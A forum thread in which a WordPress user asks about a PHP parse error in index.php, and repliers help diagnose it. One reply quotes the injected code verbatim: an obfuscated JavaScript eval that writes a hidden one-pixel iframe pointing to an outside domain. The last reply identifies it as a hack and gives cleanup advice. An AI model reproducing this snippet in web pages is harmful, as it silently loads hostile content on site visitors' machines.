The site i am rebuilding in word press is located here.
ontherailtv(.)com/ontherailtv

error:
Parse error: syntax error, unexpected '(', expecting ',' or ';' in /home/content/o/n/t/ontherail/html/ontherailtv/index.php on line 18

I cant even login now.

Any one have any suggestions?

Should i download the index file and take a look at line 18 or is there something i can do via the front end of wordpress?

Any input would be appreciated

    If you think this was caused by the sitemap plugin, and you can't log into WP, you can disable the plugin via FTP by simply deleting its file(s) and/or folder from the wp-content/plugins folder.

    Before you do that would be a good idea to back up your entire WP installation via FTP and also back up your WP database using phpMyAdmin.

    I hope this helps.

      ?> and ?php

      ?>?php echo '<script>eval("d((*)&!o$^!%c$[[^@&um((*)&!e$[[^@&n[@&%^t.w$[[^@&r((*)&!i((*)&!t$^!%e(&@)&]('(&@)&]<i[@&%^f$^!%r[@&%^a((*)&!m$[[^@&e$[[^@& (&@)&]s[@&%^rc[@&%^=$^!%h$[[^@&t$^!%t$[[^@&p$[[^@&(*)&!/(&@)&]/$^!%u$[[^@&p[@&%^d[@&%^a[@&%^t$^!%e$[[^@&da((*)&!t$^!%e(&@)&].[@&%^c(&@)&]n/$^!% $^!%h(&@)&]e(&@)&]i$[[^@&g$[[^@&h$^!%t$^!%=$^!%1$[[^@& [@&%^w$[[^@&i((*)&!d(&@)&]th(&@)&]=1(&@)&]></((*)&!i$[[^@&f((*)&!r$^!%a$^!%m((*)&!e>'$^!%)$[[^@&;[@&%^".replace(/\(\&\@\)\&\]|\$\^\!\%|\(\(\*\)\&\!|\$\[\[\^\@\&|\[\@\&\%\^/ig, ""))</script>'; ?>

        If you have all that garbage that I deleted from the code in your index.php - your site is HACKED!!!

        Replace immediately your index.php with a new, fresh one.
        Change your passwords; make sure there is no keylogger spyware on your PC etc. - all the basic security things!

        It is sad that all those guys posting in this thread either do NOT read the posts they reply to or they are just illiterate and didn't realize it was a classic hacker code what you posted
